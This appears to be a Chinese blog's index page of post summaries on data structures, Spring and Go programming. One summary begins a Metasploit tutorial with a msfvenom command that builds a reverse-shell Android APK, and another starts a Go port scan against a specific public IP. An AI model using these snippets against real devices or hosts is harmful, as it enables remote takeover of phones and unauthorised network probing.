摘要:
spring源码环境搭建 组件 版本 jdk 1.8.0_192 spring-framework 5.3.x gradle 7.5.1 idea 2022.3.3 aspectJ 1.9 可根据spring-framwork项目说明灵活选择 一、拉取spring-framework项目 1、spr 阅读全文
摘要:
链表 1 链表 链表是一种物理存储单元上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接实现的。 2 单链表 商品结点类 package com.acti.linkedList; /** * author hongyeci * date 20220722 * version 1.0 阅读全文
摘要:
递归 递归概念 递归就是方法自己去调用自己本身,每次调用时传入的参数不同;递归有助于解决复杂问题,并且简化代码。 递归解决的问题 可以解决各种数学问题,汉诺塔、迷宫、8皇后等; 各种算法的递归,快排、归并排序、二分查找、分治算法等。 递归规则 执行一个方法时,就创建一个新的受保护的独立栈空间; 方法 阅读全文
摘要:
#稀疏数组、队列 稀疏数组 稀疏数组介绍 当一个数组(包括多维数组)中大部分元素为0,或者为同一个值时,为了节约空间起到压缩的效果,将数据用另一种结构来表示,即稀疏数组。 稀疏数组压缩条件 1、原数组中存在大量的无效数据,占据了大量的存储空间,真正有用的数据很少; 2、压缩存储可以节省存储空间,避免 阅读全文
摘要:
msf攻击android^RUNOOB 1.msf生成android apk文件 msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk -p android/meterpreter/rever 阅读全文
摘要:
栈 栈的介绍 栈是限制插入和删除只能在一个位置上进行的线性表。其中,允许插入和删除的一端位于表的末端,叫做栈顶(top),不允许插入和删除的一端叫做栈底(bottom)。对栈的基本操作有push(压栈)和pop(弹栈/出栈),前者向栈顶插入一个元素,后者是删除一个栈顶元素。栈是一种**后进先出(LI 阅读全文
摘要:
golang并发编程中select关键字的使用 阅读全文
摘要:
go使用barcode包生成二维码并扫描其内容 阅读全文
摘要:
golang实现文件上传功能 阅读全文
摘要:
非并发扫描100个TCP地址的实现 func main() { start:=time.Now() //扫描端口 for i := 21; i < 120; i++ { address := fmt.Sprintf("20.194.168.28:%d", i) //扫描端口 conn, err := 阅读全文